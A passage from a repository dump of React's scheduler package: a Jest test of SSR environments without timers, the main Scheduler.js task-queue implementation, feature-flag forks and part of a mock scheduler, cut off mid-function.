non-node SSR environments', () => {\n  it('if setTimeout is undefined', () => {\n    jest.resetModules();\n    const originalSetTimeout = global.setTimeout;\n    try {\n      delete global.setTimeout;\n      jest.unmock('scheduler');\n      expect(() => {\n        require('scheduler');\n      }).not.toThrow();\n    } finally {\n      global.setTimeout = originalSetTimeout;\n    }\n  });\n\n  it('if clearTimeout is undefined', () => {\n    jest.resetModules();\n    const originalClearTimeout = global.clearTimeout;\n    try {\n      delete global.clearTimeout;\n      jest.unmock('scheduler');\n      expect(() => {\n        require('scheduler');\n      }).not.toThrow();\n    } finally {\n      global.clearTimeout = originalClearTimeout;\n    }\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/src/forks/Scheduler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable no-var */\n\nimport type {PriorityLevel} from '../SchedulerPriorities';\n\nimport {\n  enableProfiling,\n  frameYieldMs,\n  userBlockingPriorityTimeout,\n  lowPriorityTimeout,\n  normalPriorityTimeout,\n  enableRequestPaint,\n  enableAlwaysYieldScheduler,\n} from '../SchedulerFeatureFlags';\n\nimport {push, pop, peek} from '../SchedulerMinHeap';\n\n// TODO: Use symbols?\nimport {\n  ImmediatePriority,\n  UserBlockingPriority,\n  NormalPriority,\n  LowPriority,\n  IdlePriority,\n} from '../SchedulerPriorities';\nimport {\n  markTaskRun,\n  markTaskYield,\n  markTaskCompleted,\n  markTaskCanceled,\n  markTaskErrored,\n  markSchedulerSuspended,\n  markSchedulerUnsuspended,\n  markTaskStart,\n  stopLoggingProfilingEvents,\n  startLoggingProfilingEvents,\n} from '../SchedulerProfiling';\n\nexport type Callback = boolean => ?Callback;\n\nexport opaque type Task = {\n  id: number,\n  callback: Callback | null,\n  priorityLevel: PriorityLevel,\n  startTime: number,\n  expirationTime: number,\n  sortIndex: number,\n  isQueued?: boolean,\n};\n\nlet getCurrentTime: () => number | DOMHighResTimeStamp;\nconst hasPerformanceNow =\n  // $FlowFixMe[method-unbinding]\n  typeof performance === 'object' && typeof performance.now === 'function';\n\nif (hasPerformanceNow) {\n  const localPerformance = performance;\n  getCurrentTime = () => localPerformance.now();\n} else {\n  const localDate = Date;\n  const initialTime = localDate.now();\n  getCurrentTime = () => localDate.now() - initialTime;\n}\n\n// Max 31 bit integer. The max integer size in V8 for 32-bit systems.\n// Math.pow(2, 30) - 1\n// 0b111111111111111111111111111111\nvar maxSigned31BitInt = 1073741823;\n\n// Tasks are stored on a min heap\nvar taskQueue: Array<Task> = [];\nvar timerQueue: Array<Task> = [];\n\n// Incrementing id counter. Used to maintain insertion order.\nvar taskIdCounter = 1;\n\nvar currentTask = null;\nvar currentPriorityLevel: PriorityLevel = NormalPriority;\n\n// This is set while performing work, to prevent re-entrance.\nvar isPerformingWork = false;\n\nvar isHostCallbackScheduled = false;\nvar isHostTimeoutScheduled = false;\n\nvar needsPaint = false;\n\n// Capture local references to native APIs, in case a polyfill overrides them.\nconst localSetTimeout = typeof setTimeout === 'function' ? setTimeout : null;\nconst localClearTimeout =\n  typeof clearTimeout === 'function' ? clearTimeout : null;\nconst localSetImmediate =\n  typeof setImmediate !== 'undefined' ? setImmediate : null; // IE and Node.js + jsdom\n\nfunction advanceTimers(currentTime: number) {\n  // Check for tasks that are no longer delayed and add them to the queue.\n  let timer = peek(timerQueue);\n  while (timer !== null) {\n    if (timer.callback === null) {\n      // Timer was cancelled.\n      pop(timerQueue);\n    } else if (timer.startTime <= currentTime) {\n      // Timer fired. Transfer to the task queue.\n      pop(timerQueue);\n      timer.sortIndex = timer.expirationTime;\n      push(taskQueue, timer);\n      if (enableProfiling) {\n        markTaskStart(timer, currentTime);\n        timer.isQueued = true;\n      }\n    } else {\n      // Remaining timers are pending.\n      return;\n    }\n    timer = peek(timerQueue);\n  }\n}\n\nfunction handleTimeout(currentTime: number) {\n  isHostTimeoutScheduled = false;\n  advanceTimers(currentTime);\n\n  if (!isHostCallbackScheduled) {\n    if (peek(taskQueue) !== null) {\n      isHostCallbackScheduled = true;\n      requestHostCallback();\n    } else {\n      const firstTimer = peek(timerQueue);\n      if (firstTimer !== null) {\n        requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);\n      }\n    }\n  }\n}\n\nfunction flushWork(initialTime: number) {\n  if (enableProfiling) {\n    markSchedulerUnsuspended(initialTime);\n  }\n\n  // We'll need a host callback the next time work is scheduled.\n  isHostCallbackScheduled = false;\n  if (isHostTimeoutScheduled) {\n    // We scheduled a timeout but it's no longer needed. Cancel it.\n    isHostTimeoutScheduled = false;\n    cancelHostTimeout();\n  }\n\n  isPerformingWork = true;\n  const previousPriorityLevel = currentPriorityLevel;\n  try {\n    if (enableProfiling) {\n      try {\n        return workLoop(initialTime);\n      } catch (error) {\n        if (currentTask !== null) {\n          const currentTime = getCurrentTime();\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          markTaskErrored(currentTask, currentTime);\n          // $FlowFixMe[incompatible-use] found when upgrading Flow\n          currentTask.isQueued = false;\n        }\n        throw error;\n      }\n    } else {\n      // No catch in prod code path.\n      return workLoop(initialTime);\n    }\n  } finally {\n    currentTask = null;\n    currentPriorityLevel = previousPriorityLevel;\n    isPerformingWork = false;\n    if (enableProfiling) {\n      const currentTime = getCurrentTime();\n      markSchedulerSuspended(currentTime);\n    }\n  }\n}\n\nfunction workLoop(initialTime: number) {\n  let currentTime = initialTime;\n  advanceTimers(currentTime);\n  currentTask = peek(taskQueue);\n  while (currentTask !== null) {\n    if (!enableAlwaysYieldScheduler) {\n      if (currentTask.expirationTime > currentTime && shouldYieldToHost()) {\n        // This currentTask hasn't expired, and we've reached the deadline.\n        break;\n      }\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    const callback = currentTask.callback;\n    if (typeof callback === 'function') {\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentTask.callback = null;\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentPriorityLevel = currentTask.priorityLevel;\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      const didUserCallbackTimeout = currentTask.expirationTime <= currentTime;\n      if (enableProfiling) {\n        // $FlowFixMe[incompatible-call] found when upgrading Flow\n        markTaskRun(currentTask, currentTime);\n      }\n      const continuationCallback = callback(didUserCallbackTimeout);\n      currentTime = getCurrentTime();\n      if (typeof continuationCallback === 'function') {\n        // If a continuation is returned, immediately yield to the main thread\n        // regardless of how much time is left in the current time slice.\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        currentTask.callback = continuationCallback;\n        if (enableProfiling) {\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          markTaskYield(currentTask, currentTime);\n        }\n        advanceTimers(currentTime);\n        return true;\n      } else {\n        if (enableProfiling) {\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          markTaskCompleted(currentTask, currentTime);\n          // $FlowFixMe[incompatible-use] found when upgrading Flow\n          currentTask.isQueued = false;\n        }\n        if (currentTask === peek(taskQueue)) {\n          pop(taskQueue);\n        }\n        advanceTimers(currentTime);\n      }\n    } else {\n      pop(taskQueue);\n    }\n    currentTask = peek(taskQueue);\n    if (enableAlwaysYieldScheduler) {\n      if (currentTask === null || currentTask.expirationTime > currentTime) {\n        // This currentTask hasn't expired we yield to the browser task.\n        break;\n      }\n    }\n  }\n  // Return whether there's additional work\n  if (currentTask !== null) {\n    return true;\n  } else {\n    const firstTimer = peek(timerQueue);\n    if (firstTimer !== null) {\n      requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);\n    }\n    return false;\n  }\n}\n\nfunction unstable_runWithPriority<T>(\n  priorityLevel: PriorityLevel,\n  eventHandler: () => T,\n): T {\n  switch (priorityLevel) {\n    case ImmediatePriority:\n    case UserBlockingPriority:\n    case NormalPriority:\n    case LowPriority:\n    case IdlePriority:\n      break;\n    default:\n      priorityLevel = NormalPriority;\n  }\n\n  var previousPriorityLevel = currentPriorityLevel;\n  currentPriorityLevel = priorityLevel;\n\n  try {\n    return eventHandler();\n  } finally {\n    currentPriorityLevel = previousPriorityLevel;\n  }\n}\n\nfunction unstable_next<T>(eventHandler: () => T): T {\n  var priorityLevel: PriorityLevel;\n  switch (currentPriorityLevel) {\n    case ImmediatePriority:\n    case UserBlockingPriority:\n    case NormalPriority:\n      // Shift down to normal priority\n      priorityLevel = NormalPriority;\n      break;\n    default:\n      // Anything lower than normal priority should remain at the current level.\n      priorityLevel = currentPriorityLevel;\n      break;\n  }\n\n  var previousPriorityLevel = currentPriorityLevel;\n  currentPriorityLevel = priorityLevel;\n\n  try {\n    return eventHandler();\n  } finally {\n    currentPriorityLevel = previousPriorityLevel;\n  }\n}\n\nfunction unstable_wrapCallback<T: (...Array<mixed>) => mixed>(callback: T): T {\n  var parentPriorityLevel = currentPriorityLevel;\n  // $FlowFixMe[incompatible-return]\n  // $FlowFixMe[missing-this-annot]\n  return function () {\n    // This is a fork of runWithPriority, inlined for performance.\n    var previousPriorityLevel = currentPriorityLevel;\n    currentPriorityLevel = parentPriorityLevel;\n\n    try {\n      return callback.apply(this, arguments);\n    } finally {\n      currentPriorityLevel = previousPriorityLevel;\n    }\n  };\n}\n\nfunction unstable_scheduleCallback(\n  priorityLevel: PriorityLevel,\n  callback: Callback,\n  options?: {delay: number},\n): Task {\n  var currentTime = getCurrentTime();\n\n  var startTime;\n  if (typeof options === 'object' && options !== null) {\n    var delay = options.delay;\n    if (typeof delay === 'number' && delay > 0) {\n      startTime = currentTime + delay;\n    } else {\n      startTime = currentTime;\n    }\n  } else {\n    startTime = currentTime;\n  }\n\n  var timeout;\n  switch (priorityLevel) {\n    case ImmediatePriority:\n      // Times out immediately\n      timeout = -1;\n      break;\n    case UserBlockingPriority:\n      // Eventually times out\n      timeout = userBlockingPriorityTimeout;\n      break;\n    case IdlePriority:\n      // Never times out\n      timeout = maxSigned31BitInt;\n      break;\n    case LowPriority:\n      // Eventually times out\n      timeout = lowPriorityTimeout;\n      break;\n    case NormalPriority:\n    default:\n      // Eventually times out\n      timeout = normalPriorityTimeout;\n      break;\n  }\n\n  var expirationTime = startTime + timeout;\n\n  var newTask: Task = {\n    id: taskIdCounter++,\n    callback,\n    priorityLevel,\n    startTime,\n    expirationTime,\n    sortIndex: -1,\n  };\n  if (enableProfiling) {\n    newTask.isQueued = false;\n  }\n\n  if (startTime > currentTime) {\n    // This is a delayed task.\n    newTask.sortIndex = startTime;\n    push(timerQueue, newTask);\n    if (peek(taskQueue) === null && newTask === peek(timerQueue)) {\n      // All tasks are delayed, and this is the task with the earliest delay.\n      if (isHostTimeoutScheduled) {\n        // Cancel an existing timeout.\n        cancelHostTimeout();\n      } else {\n        isHostTimeoutScheduled = true;\n      }\n      // Schedule a timeout.\n      requestHostTimeout(handleTimeout, startTime - currentTime);\n    }\n  } else {\n    newTask.sortIndex = expirationTime;\n    push(taskQueue, newTask);\n    if (enableProfiling) {\n      markTaskStart(newTask, currentTime);\n      newTask.isQueued = true;\n    }\n    // Schedule a host callback, if needed. If we're already performing work,\n    // wait until the next time we yield.\n    if (!isHostCallbackScheduled && !isPerformingWork) {\n      isHostCallbackScheduled = true;\n      requestHostCallback();\n    }\n  }\n\n  return newTask;\n}\n\nfunction unstable_cancelCallback(task: Task) {\n  if (enableProfiling) {\n    if (task.isQueued) {\n      const currentTime = getCurrentTime();\n      markTaskCanceled(task, currentTime);\n      task.isQueued = false;\n    }\n  }\n\n  // Null out the callback to indicate the task has been canceled. (Can't\n  // remove from the queue because you can't remove arbitrary nodes from an\n  // array based heap, only the first one.)\n  task.callback = null;\n}\n\nfunction unstable_getCurrentPriorityLevel(): PriorityLevel {\n  return currentPriorityLevel;\n}\n\nlet isMessageLoopRunning = false;\nlet taskTimeoutID: TimeoutID = (-1: any);\n\n// Scheduler periodically yields in case there is other work on the main\n// thread, like user events. By default, it yields multiple times per frame.\n// It does not attempt to align with frame boundaries, since most tasks don't\n// need to be frame aligned; for those that do, use requestAnimationFrame.\nlet frameInterval: number = frameYieldMs;\nlet startTime = -1;\n\nfunction shouldYieldToHost(): boolean {\n  if (!enableAlwaysYieldScheduler && enableRequestPaint && needsPaint) {\n    // Yield now.\n    return true;\n  }\n  const timeElapsed = getCurrentTime() - startTime;\n  if (timeElapsed < frameInterval) {\n    // The main thread has only been blocked for a really short amount of time;\n    // smaller than a single frame. Don't yield yet.\n    return false;\n  }\n  // Yield now.\n  return true;\n}\n\nfunction requestPaint() {\n  if (enableRequestPaint) {\n    needsPaint = true;\n  }\n}\n\nfunction forceFrameRate(fps: number) {\n  if (fps < 0 || fps > 125) {\n    // Using console['error'] to evade Babel and ESLint\n    console['error'](\n      'forceFrameRate takes a positive int between 0 and 125, ' +\n        'forcing frame rates higher than 125 fps is not supported',\n    );\n    return;\n  }\n  if (fps > 0) {\n    frameInterval = Math.floor(1000 / fps);\n  } else {\n    // reset the framerate\n    frameInterval = frameYieldMs;\n  }\n}\n\nconst performWorkUntilDeadline = () => {\n  if (enableRequestPaint) {\n    needsPaint = false;\n  }\n  if (isMessageLoopRunning) {\n    const currentTime = getCurrentTime();\n    // Keep track of the start time so we can measure how long the main thread\n    // has been blocked.\n    startTime = currentTime;\n\n    // If a scheduler task throws, exit the current browser task so the\n    // error can be observed.\n    //\n    // Intentionally not using a try-catch, since that makes some debugging\n    // techniques harder. Instead, if `flushWork` errors, then `hasMoreWork` will\n    // remain true, and we'll continue the work loop.\n    let hasMoreWork = true;\n    try {\n      hasMoreWork = flushWork(currentTime);\n    } finally {\n      if (hasMoreWork) {\n        // If there's more work, schedule the next message event at the end\n        // of the preceding one.\n        schedulePerformWorkUntilDeadline();\n      } else {\n        isMessageLoopRunning = false;\n      }\n    }\n  }\n};\n\nlet schedulePerformWorkUntilDeadline;\nif (typeof localSetImmediate === 'function') {\n  // Node.js and old IE.\n  // There's a few reasons for why we prefer setImmediate.\n  //\n  // Unlike MessageChannel, it doesn't prevent a Node.js process from exiting.\n  // (Even though this is a DOM fork of the Scheduler, you could get here\n  // with a mix of Node.js 15+, which has a MessageChannel, and jsdom.)\n  // https://github.com/facebook/react/issues/20756\n  //\n  // But also, it runs earlier which is the semantic we want.\n  // If other browsers ever implement it, it's better to use it.\n  // Although both of these would be inferior to native scheduling.\n  schedulePerformWorkUntilDeadline = () => {\n    localSetImmediate(performWorkUntilDeadline);\n  };\n} else if (typeof MessageChannel !== 'undefined') {\n  // DOM and Worker environments.\n  // We prefer MessageChannel because of the 4ms setTimeout clamping.\n  const channel = new MessageChannel();\n  const port = channel.port2;\n  channel.port1.onmessage = performWorkUntilDeadline;\n  schedulePerformWorkUntilDeadline = () => {\n    port.postMessage(null);\n  };\n} else {\n  // We should only fallback here in non-browser environments.\n  schedulePerformWorkUntilDeadline = () => {\n    // $FlowFixMe[not-a-function] nullable value\n    localSetTimeout(performWorkUntilDeadline, 0);\n  };\n}\n\nfunction requestHostCallback() {\n  if (!isMessageLoopRunning) {\n    isMessageLoopRunning = true;\n    schedulePerformWorkUntilDeadline();\n  }\n}\n\nfunction requestHostTimeout(\n  callback: (currentTime: number) => void,\n  ms: number,\n) {\n  // $FlowFixMe[not-a-function] nullable value\n  taskTimeoutID = localSetTimeout(() => {\n    callback(getCurrentTime());\n  }, ms);\n}\n\nfunction cancelHostTimeout() {\n  // $FlowFixMe[not-a-function] nullable value\n  localClearTimeout(taskTimeoutID);\n  taskTimeoutID = ((-1: any): TimeoutID);\n}\n\nexport {\n  ImmediatePriority as unstable_ImmediatePriority,\n  UserBlockingPriority as unstable_UserBlockingPriority,\n  NormalPriority as unstable_NormalPriority,\n  IdlePriority as unstable_IdlePriority,\n  LowPriority as unstable_LowPriority,\n  unstable_runWithPriority,\n  unstable_next,\n  unstable_scheduleCallback,\n  unstable_cancelCallback,\n  unstable_wrapCallback,\n  unstable_getCurrentPriorityLevel,\n  shouldYieldToHost as unstable_shouldYield,\n  requestPaint as unstable_requestPaint,\n  getCurrentTime as unstable_now,\n  forceFrameRate as unstable_forceFrameRate,\n};\n\nexport const unstable_Profiling: {\n  startLoggingProfilingEvents(): void,\n  stopLoggingProfilingEvents(): ArrayBuffer | null,\n} | null = enableProfiling\n  ? {\n      startLoggingProfilingEvents,\n      stopLoggingProfilingEvents,\n    }\n  : null;\n"
  },
  {
    "path": "packages/scheduler/src/forks/SchedulerFeatureFlags.native-fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const enableProfiling = __DEV__;\nexport const frameYieldMs = 5;\n\nexport const userBlockingPriorityTimeout = 250;\nexport const normalPriorityTimeout = 5000;\nexport const lowPriorityTimeout = 10000;\nexport const enableRequestPaint = true;\n\nexport const enableAlwaysYieldScheduler = false;\n"
  },
  {
    "path": "packages/scheduler/src/forks/SchedulerFeatureFlags.www-dynamic.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// In www, these flags are controlled by GKs. Because most GKs have some\n// population running in either mode, we should run our tests that way, too,\n//\n// Use __VARIANT__ to simulate a GK. The tests will be run twice: once\n// with the __VARIANT__ set to `true`, and once set to `false`.\n\nexport const enableRequestPaint = __VARIANT__;\n"
  },
  {
    "path": "packages/scheduler/src/forks/SchedulerFeatureFlags.www.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// $FlowFixMe[cannot-resolve-module]\nconst dynamicFeatureFlags = require('SchedulerFeatureFlags');\n\nexport const {enableRequestPaint} = dynamicFeatureFlags;\n\nexport const enableProfiling = __DEV__;\nexport const frameYieldMs = 10;\n\nexport const userBlockingPriorityTimeout = 250;\nexport const normalPriorityTimeout = 5000;\nexport const lowPriorityTimeout = 10000;\n\nexport const enableAlwaysYieldScheduler = false;\n"
  },
  {
    "path": "packages/scheduler/src/forks/SchedulerMock.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable no-var */\n/* eslint-disable react-internal/prod-error-codes */\n\nimport type {PriorityLevel} from '../SchedulerPriorities';\n\nimport {enableProfiling} from '../SchedulerFeatureFlags';\nimport {push, pop, peek} from '../SchedulerMinHeap';\n\n// TODO: Use symbols?\nimport {\n  ImmediatePriority,\n  UserBlockingPriority,\n  NormalPriority,\n  LowPriority,\n  IdlePriority,\n} from '../SchedulerPriorities';\nimport {\n  markTaskRun,\n  markTaskYield,\n  markTaskCompleted,\n  markTaskCanceled,\n  markTaskErrored,\n  markSchedulerSuspended,\n  markSchedulerUnsuspended,\n  markTaskStart,\n  stopLoggingProfilingEvents,\n  startLoggingProfilingEvents,\n} from '../SchedulerProfiling';\n\ntype Callback = boolean => ?Callback;\n\ntype Task = {\n  id: number,\n  callback: Callback | null,\n  priorityLevel: PriorityLevel,\n  startTime: number,\n  expirationTime: number,\n  sortIndex: number,\n  isQueued?: boolean,\n};\n\n// Max 31 bit integer. The max integer size in V8 for 32-bit systems.\n// Math.pow(2, 30) - 1\n// 0b111111111111111111111111111111\nvar maxSigned31BitInt = 1073741823;\n\n// Times out immediately\nvar IMMEDIATE_PRIORITY_TIMEOUT = -1;\n// Eventually times out\nvar USER_BLOCKING_PRIORITY_TIMEOUT = 250;\nvar NORMAL_PRIORITY_TIMEOUT = 5000;\nvar LOW_PRIORITY_TIMEOUT = 10000;\n// Never times out\nvar IDLE_PRIORITY_TIMEOUT = maxSigned31BitInt;\n\n// Tasks are stored on a min heap\nvar taskQueue: Array<Task> = [];\nvar timerQueue: Array<Task> = [];\n\n// Incrementing id counter. Used to maintain insertion order.\nvar taskIdCounter = 1;\n\nvar currentTask = null;\nvar currentPriorityLevel: PriorityLevel = NormalPriority;\n\n// This is set while performing work, to prevent re-entrance.\nvar isPerformingWork = false;\n\nvar isHostCallbackScheduled = false;\nvar isHostTimeoutScheduled = false;\n\nlet currentMockTime: number = 0;\nlet scheduledCallback:\n  | null\n  | ((\n      hasTimeRemaining: boolean,\n      initialTime: DOMHighResTimeStamp | number,\n    ) => boolean) = null;\nlet scheduledTimeout: (number => void) | null = null;\nlet timeoutTime: number = -1;\nlet yieldedValues: Array<mixed> | null = null;\nlet expectedNumberOfYields: number = -1;\nlet didStop: boolean = false;\nlet isFlushing: boolean = false;\nlet needsPaint: boolean = false;\nlet shouldYieldForPaint: boolean = false;\n\nvar disableYieldValue = false;\n\nfunction setDisableYieldValue(newValue: boolean) {\n  disableYieldValue = newValue;\n}\n\nfunction advanceTimers(currentTime: number) {\n  // Check for tasks that are no longer delayed and add them to the queue.\n  let timer = peek(timerQueue);\n  while (timer !== null) {\n    if (timer.callback === null) {\n      // Timer was cancelled.\n      pop(timerQueue);\n    } else if (timer.startTime <= currentTime) {\n      // Timer fired. Transfer to the task queue.\n      pop(timerQueue);\n      timer.sortIndex = timer.expirationTime;\n      push(taskQueue, timer);\n      if (enableProfiling) {\n        markTaskStart(timer, currentTime);\n        timer.isQueued = true;\n      }\n    } else {\n      // Remaining timers are pending.\n      return;\n    }\n    timer = peek(timerQueue);\n  }\n}\n\nfunction handleTimeout(currentTime: number) {\n  isHostTimeoutScheduled = false;\n  advanceTimers(currentTime);\n\n  if (!isHostCallbackScheduled) {\n    if (peek(taskQueue) !== null) {\n      isHostCallbackScheduled = true;\n      requestHostCallback(flushWork);\n    } else {\n      const firstTimer = peek(timerQueue);\n      if (firstTimer !== null) {\n        requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);\n      }\n    }\n  }\n}\n\nfunction flushWork(hasTimeRemaining: boolean, initialTime: number) {\n  if (enableProfiling) {\n    markSchedulerUnsuspended(initialTime);\n  }\n\n  // We'll need a host callback the next time work is scheduled.\n  isHostCallbackScheduled = false;\n  if (isHostTimeoutScheduled) {\n    // We scheduled a timeout but it's no longer needed. Cancel it.\n    isHostTimeoutScheduled = false;\n    cancelHostTimeout();\n  }\n\n  isPerformingWork = true;\n  const previousPriorityLevel = currentPriorityLevel;\n  try {\n    if (enableProfiling) {\n      try {\n        return workLoop(hasTimeRemaining, initialTime);\n      } catch (error) {\n        if (currentTask !== null) {\n          const currentTime = getCurrentTime();\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          markTaskErrored(currentTask, currentTime);\n          // $FlowFixMe[incompatible-use] found when upgrading Flow\n          currentTask.isQueued = false;\n        }\n        throw error;\n      }\n    } else {\n      // No catch in prod code path.\n      return workLoop(hasTimeRemaining, initialTime);\n    }\n  } finally {\n    currentTask = null;\n    currentPriorityLevel = previousPriorityLevel;\n    isPerformingWork = false;\n    if (enableProfiling) {\n      const currentTime = getCurrentTime();\n      markSchedulerSuspended(currentTime);\n    }\n  }\n}\n\nfunction workLoop(hasTimeRemaining: boolean, initialTime: number): boolean {\n  let currentTime = initialTime;\n  advanceTimers(currentTime);\n  currentTask = peek(taskQueue);\n  while (currentTask !== null) {\n    if (\n      currentTask.expirationTime > currentTime &&\n      (!hasTimeRemaining || shouldYieldToHost())\n    ) {\n      // This currentTask hasn't expired, and we've reached the deadline.\n      break;\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    const callback = currentTask.callback;\n    if (typeof callback === 'function') {\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentTask.callback = null;\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentPriorityLevel = currentTask.priorityLevel;\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      const didUserCallbackTimeout = currentTask.expirationTime <= currentTime;\n      if (enableProfiling) {\n        // $FlowFixMe[incompatible-call] found when upgrading Flow\n        markTaskRun(currentTask, currentTime);\n      }\n      const continuationCallback = callback(didUserCallbackTimeout);\n      currentTime = getCurrentTime();\n      if (typeof continuationCallback === 'function') {\n        // If a continuation is returned, immediately yield to the main thread\n        // regardless of how much time is left in the current time slice.\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        currentTask.callback = continuationCallback;\n        if (enableProfiling) {\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          markTaskYield(currentTask, currentTime);\n        }\n        advanceTimers(currentTime);\n\n        if (shouldYieldForPaint) {\n          needsPaint = true;\n          return true;\n        } else {\n          // If `shouldYieldForPaint` is false, we keep flushing synchronously\n          // without yielding to the main thread. This is the behavior of the\n          // `toFlushAndYield` and `toFlushAndYieldThrough` testing helpers .\n        }\n      } else {\n        if (enableProfiling) {\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          markTaskCompleted(currentTask, currentTime);\n          // $FlowFixMe[incompatible-use] found when upgrading Flow\n          currentTask.isQueued = false;\n        }\n        if (currentTask === peek(taskQueue)) {\n          pop(taskQueue);\n        }\n        advanceTimers(currentTime);\n      }\n    } else {\n      pop(taskQueue);\n    }\n    currentTask = peek(taskQueue);\n  }\n  // Return whether there's additional work\n  if (currentTask !== null) {\n    return true;\n  } else {\n    const firstTimer = peek(timerQueue);\n    if (firstTimer !== null) {\n      requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);\n    }\n    return false;\n  }\n}\n\nfunction unstable_runWithPriority<T>(\n  priorityLevel: PriorityLevel,\n  eventHandler: () => T,\n): T {\n  switch (priorityLevel) {\n    case ImmediatePriority:\n    case UserBlockingPriority:\n    case NormalPriority:\n    case LowPriority:\n    case IdlePriority:\n      break;\n    default:\n      priorityLevel = NormalPriority;\n  }\n\n  var previousPriorityLevel = currentPriorityLevel;\n  currentPriorityLevel = priorityLevel;\n\n  try {\n    return eventHandler();\n  } finally {\n    currentPriorityLevel = previousPriorityLevel;\n  }\n}\n\nfunction unstable_next<T>(eventHandler: () => T): T {\n  var priorityLevel: PriorityLevel;\n  switch (currentPriorityLevel) {\n    case ImmediatePriority:\n    case UserBlockingPriority:\n    case NormalPriority:\n      // Shift down to normal priority\n      priorityLevel = NormalPriority;\n      break;\n    default:\n      // Anything lower than normal priority should remain at the current level.\n      priorityLevel = currentPriorityLevel;\n      break;\n  }\n\n  var previousPriorityLevel = currentPriorityLevel;\n  currentPriorityLevel = priorityLevel;\n\n  try {\n    return eventHandler();\n  } finally {\n    currentPriorityLevel = previousPriorityLevel;\n  }\n}\n\nfunction unstable_wrapCallback<T: (...Array<mixed>) => mixed>(callback: T): T {\n  var parentPriorityLevel = currentPriorityLevel;\n  // $FlowFixMe[incompatible-return]\n  // $FlowFixMe[missing-this-annot]\n  return function () {\n    // This is a fork of runWithPriority, inlined for performance.\n    var previousPriorityLevel = currentPriorityLevel;\n    currentPriorityLevel = parentPriorityLevel;\n\n    try {\n      return callback.apply(this, arguments);\n    } finally {\n      currentPriorityLevel = previousPriorityLevel;\n    }\n  };\n}\n\nfunction unstable_scheduleCallback(\n  priorityLevel: PriorityLevel,\n  callback: Callback,\n  options?: {delay: number},\n): Task {\n  var currentTime = getCurrentTime();\n\n  var startTime;\n  if (typeof options === 'object' && options !== null) {\n    var delay = options.delay;\n    if (typeof delay === 'number' && delay > 0) {\n      startTime = currentTime + delay;\n    } else {\n      startTime = currentTime;\n    }\n  } else {\n    startTime = currentTime;\n  }\n\n  var timeout;\n  switch (priorityLevel) {\n    case ImmediatePriority:\n      timeout = IMMEDIATE_PRIORITY_TIMEOUT;\n      break;\n    case UserBlockingPriority:\n      timeout = USER_BLOCKING_PRIORITY_TIMEOUT;\n      break;\n    case IdlePriority:\n      timeout = IDLE_PRIORITY_TIMEOUT;\n      break;\n    case LowPriority:\n      timeout = LOW_PRIORITY_TIMEOUT;\n      break;\n    case NormalPriority:\n    default:\n      timeout = NORMAL_PRIORITY_TIMEOUT;\n      break;\n  }\n\n  var expirationTime = startTime + timeout;\n\n  var newTask: Task = {\n    id: taskIdCounter++,\n    callback,\n    priorityLevel,\n    startTime,\n    expirationTime,\n    sortIndex: -1,\n  };\n  if (enableProfiling) {\n    newTask.isQueued = false;\n  }\n\n  if (startTime > currentTime) {\n    // This is a delayed task.\n    newTask.sortIndex = startTime;\n    push(timerQueue, newTask);\n    if (peek(taskQueue) === null && newTask === peek(timerQueue)) {\n      // All tasks are delayed, and this is the task with the earliest delay.\n      if (isHostTimeoutScheduled) {\n        // Cancel an existing timeout.\n        cancelHostTimeout();\n      } else {\n        isHostTimeoutScheduled = true;\n      }\n      // Schedule a timeout.\n      requestHostTimeout(handleTimeout, startTime - currentTime);\n    }\n  } else {\n    newTask.sortIndex = expirationTime;\n    push(taskQueue, newTask);\n    if (enableProfiling) {\n      markTaskStart(newTask, currentTime);\n      newTask.isQueued = true;\n    }\n    // Schedule a host callback, if needed. If we're already performing work,\n    // wait until the next time we yield.\n    if (!isHostCallbackScheduled && !isPerformingWork) {\n      isHostCallbackScheduled = true;\n      requestHostCallback(flushWork);\n    }\n  }\n\n  return newTask;\n}\n\nfunction unstable_cancelCallback(task: Task) {\n  if (enableProfiling) {\n    if (task.isQueued) {\n      const currentTime = getCurrentTime();\n      markTaskCanceled(task, currentTime);\n      task.isQueued = false;\n    }\n  }\n\n  // Null out the callback to indicate the task has been canceled. (Can't\n  // remove from the queue because you can't remove arbitrary nodes from an\n  // array based heap, only the first one.)\n  task.callback = null;\n}\n\nfunction unstable_getCurrentPriorityLevel(): PriorityLevel {\n  return currentPriorityLevel;\n}\n\nfunction requestHostCallback(callback: (boolean, number) => boolean) {\n  scheduledCallback = callback;\n}\n\nfunction requestHostTimeout(callback: number => void, ms: number) {\n  scheduledTimeout = callback;\n  